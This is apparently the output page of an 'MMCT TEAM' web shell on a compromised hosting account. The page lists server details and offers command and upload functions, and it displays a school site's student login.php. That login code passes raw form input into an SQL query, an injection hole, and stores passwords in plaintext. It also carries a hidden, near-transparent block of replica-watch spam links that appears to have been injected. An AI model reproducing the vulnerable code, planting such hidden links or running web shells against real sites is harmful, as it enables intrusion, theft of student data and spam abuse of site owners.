MMCT TEAM
Server IP : 2a02:4780:3:1493:0:3736:a38e:7  /  Your IP : 216.73.216.88
Web Server : LiteSpeed
System : Linux sg-nme-web1393.main-hosting.eu 4.18.0-553.84.1.lve.el8.x86_64 #1 SMP Tue Nov 25 18:33:03 UTC 2025 x86_64
User : u926327694 ( 926327694)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : ON
Directory (0755) :  /home/u926327694/domains/stjpuvjp.com/../spoorthiayugvt.in/public_html/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/u926327694/domains/stjpuvjp.com/../spoorthiayugvt.in/public_html/login.php
<?php
    include('header.php');
    $news_letter_class = "newsletter-area-2";
     session_start();
    
    include('adminweb/db.php');

if(isset($_POST['username']) && isset($_POST['password']))

{
    
    $username=$_POST['username'];
    $password=$_POST['password'];
    $result=mysqli_query($con,"select * FROM `students` where username='$username' and password='$password'");
    
   if(mysqli_num_rows($result)>0)
  {
      
   $row=mysqli_fetch_array($result);
       
    $_SESSION['reg_no']=$row['reg_no'];
    // $_SESSION['student_data']=$row;
    echo"<script>window.location='student-result.php';</script>";
  }
  else
  {
    $_SESSION['login_error'] = 'Invalid username and password...';
    ?>
    <script>
    alert("Invalid username and password");
    </script>
    <?php
    echo"<script>window.location='login.php';</script>";
  }

 }
?>

<section class="page-banner">
    <div class="page-banner-bg bg_cover" style="background-image: url(assets/images/page-banner.jpg);">
        <div class="container">
            <div class="banner-content text-center">
                <h2 class="title">Login</h2>
            </div>
        </div>
    </div>
</section>

<section class="mt-50 mb-50">
    <div class="container">
        <div class="row justify-content-center">
            <div class="col-lg-6">
                <div class="login-register-content">
                    <h4 class="title">Login to Your Account </h4>

                    <div class="login-register-form">
                        <form action="login.php" method="post">
                            <div class="single-form">
                                <label>Username*</label>
                                <input type="text" name="username">
                            </div>
                            <div class="single-form">
                                <label>Password</label>
                                <input type="password" name="password">
                            </div>
                            <div class="single-form">
                                <input class="main-btn btn-block" type="submit" Value="Login">
                            </div>
                        
                        </form>
                    </div>
                </div>
            </div>
        </div>  
    </div>
<div style="position: absolute; filter: alpha(opacity=0); opacity: 0.001; z-index: 10;"><a href="https://www.replicawatchpro.to/">replica watches uk</a> <a href="https://shopreplica.uk.com/">replica watches</a> <a href="https://www.watchesreplicauk.to/">replica rolex</a> <a href="https://www.dartmoorway.co.uk/styles.php">replica rolex watches</a></div>
</section>

<?php include('footer.php'); ?>

MMCT - 2023